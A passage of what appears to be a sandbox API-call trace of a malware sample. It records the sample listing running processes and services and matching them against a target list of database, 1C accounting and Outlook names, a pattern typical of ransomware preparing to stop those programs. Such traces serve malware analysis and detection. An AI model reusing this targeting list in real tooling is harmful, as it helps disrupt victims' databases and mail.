(lpString="ShellHWDetection") returned 16 [0161.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0161.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0161.271] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0161.271] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0161.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0161.271] lstrlenW (lpString="Spooler") returned 7 [0161.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0161.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0161.271] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0161.271] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0161.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0161.271] lstrlenW (lpString="SysMain") returned 7 [0161.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0161.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0161.271] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0161.271] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0161.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0161.271] lstrlenW (lpString="Themes") returned 6 [0161.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0161.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0161.271] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0161.272] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0161.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0161.272] lstrlenW (lpString="TrkWks") returned 6 [0161.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0161.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0161.272] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0161.272] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0161.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0161.272] lstrlenW (lpString="UxSms") returned 5 [0161.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0161.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0161.272] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0161.272] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0161.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0161.272] lstrlenW (lpString="WdiServiceHost") returned 14 [0161.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0161.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0161.272] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0161.272] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0161.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0161.272] lstrlenW (lpString="WdiSystemHost") returned 13 [0161.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0161.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0161.272] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0161.272] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0161.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0161.273] lstrlenW (lpString="Winmgmt") returned 7 [0161.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0161.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0161.273] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0161.273] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0161.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0161.273] lstrlenW (lpString="WPDBusEnum") returned 10 [0161.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0161.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0161.273] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0161.273] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0161.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0161.273] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4285088 | out: hHeap=0x880000) returned 1 [0161.273] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0161.275] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0161.276] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0161.276] lstrlenW (lpString="System") returned 6 [0161.276] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0161.276] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0161.276] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0161.276] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0161.276] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0161.276] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0161.276] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0161.276] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0161.277] lstrlenW (lpString="smss.exe") returned 8 [0161.277] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0161.277] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0161.277] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0161.277] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0161.277] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0161.277] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0161.277] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0161.277] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0161.277] lstrlenW (lpString="csrss.exe") returned 9 [0161.277] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0161.278] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0161.278] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0161.278] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0161.278] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0161.278] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0161.278] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0161.278] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0161.278] lstrlenW (lpString="wininit.exe") returned 11 [0161.278] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0161.278] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0161.278] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0161.278] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0161.278] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0161.278] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0161.278] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0161.279] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0161.279] lstrlenW (lpString="csrss.exe") returned 9 [0161.279] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0161.279] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0161.279] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0161.279] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0161.279] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0161.279] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0161.279] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0161.279] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0161.280] lstrlenW (lpString="winlogon.exe") returned 12 [0161.280] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0161.280] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0161.280] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0161.280] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0161.280] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0161.281] lstrlenW (lpString="services.exe") returned 12 [0161.281] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0161.281] lstrlenW (lpString="lsass.exe") returned 9 [0161.281] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0161.281] lstrlenW (lpString="lsm.exe") returned 7 [0161.282] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.282] lstrlenW (lpString="svchost.exe") returned 11 [0161.282] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.282] lstrlenW (lpString="svchost.exe") returned 11 [0161.282] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.283] lstrlenW (lpString="svchost.exe") returned 11 [0161.283] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.284] lstrlenW (lpString="svchost.exe") returned 11 [0161.284] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.284] lstrlenW (lpString="svchost.exe") returned 11 [0161.284] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0161.285] lstrlenW (lpString="audiodg.exe") returned 11 [0161.285] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.285] lstrlenW (lpString="svchost.exe") returned 11 [0161.285] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0161.286] lstrlenW (lpString="explorer.exe") returned 12 [0161.286] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0161.286] lstrlenW (lpString="dwm.exe") returned 7 [0161.286] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.287] lstrlenW (lpString="svchost.exe") returned 11 [0161.287] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0161.287] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0161.287] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0161.288] lstrlenW (lpString="spoolsv.exe") returned 11 [0161.288] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0161.288] lstrlenW (lpString="reader_sl.exe") returned 13 [0161.288] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0161.288] lstrlenW (lpString="svchost.exe") returned 11 [0161.288] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0161.289] lstrlenW (lpString="taskhost.exe") returned 12 [0161.289] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0161.289] lstrlenW (lpString="dllhost.exe") returned 11 [0161.289] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0161.290] lstrlenW (lpString="taskhost.exe") returned 12 [0161.290] Process32NextW (in: hSnapshot=0x1e0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0161.290] CloseHandle (hObject=0x1e0) returned 1 [0161.290] Sleep (dwMilliseconds=0x1f4) [0161.979] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4293dd0 [0161.979] EnumServicesStatusExW (in: hSCManager=0x4293dd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0161.980] GetLastError () returned 0xea [0161.980] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x4285088 [0161.980] EnumServicesStatusExW (in: hSCManager=0x4293dd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4285088, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4285088, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0161.980] CloseServiceHandle (hSCObject=0x4293dd0) returned 1 [0161.981] lstrlenW (lpString="Appinfo") returned 7 [0161.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0161.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0161.981] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0161.981] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0161.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0161.981] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0161.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0161.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0161.981] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0161.981] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0161.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0161.981] lstrlenW (lpString="AudioSrv") returned 8 [0161.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0161.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0161.981] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0161.981] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0161.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0161.981] lstrlenW (lpString="BFE") returned 3 [0161.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0161.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0161.981] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0161.981] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0161.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0161.981] lstrlenW (lpString="CryptSvc") returned 8 [0161.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0161.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0161.981] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0161.981] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0161.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0161.981] lstrlenW (lpString="CscService") returned 10 [0161.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0161.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0161.981] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0161.981] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0161.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0161.983] lstrlenW (lpString="DcomLaunch") returned 10 [0161.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0161.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0161.983] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0161.983] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0161.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0161.985] lstrlenW (lpString="Dhcp") returned 4 [0161.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0161.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0161.987] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0161.987] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0161.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0161.990] lstrlenW (lpString="Dnscache") returned 8 [0161.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0161.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0161.993] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0161.993] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0161.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0161.993] lstrlenW (lpString="DPS") returned 3 [0161.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0161.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0161.993] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0161.993] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0161.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0161.997] lstrlenW (lpString="eventlog") returned 8 [0161.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0161.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0161.997] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0161.997] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0161.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0161.997] lstrlenW (lpString="EventSystem") returned 11 [0161.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0161.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0161.997] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0161.997] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0161.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0161.997] lstrlenW (lpString="gpsvc") returned 5 [0161.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0161.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0161.997] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0161.997] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0161.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0161.997] lstrlenW (lpString="iphlpsvc") returned 8 [0161.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0161.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0161.997] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0161.997] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0161.997] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0161.997] lstrlenW (lpString="LanmanServer") returned 12 [0161.997] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0161.997] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0161.997] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0161.998] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0161.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 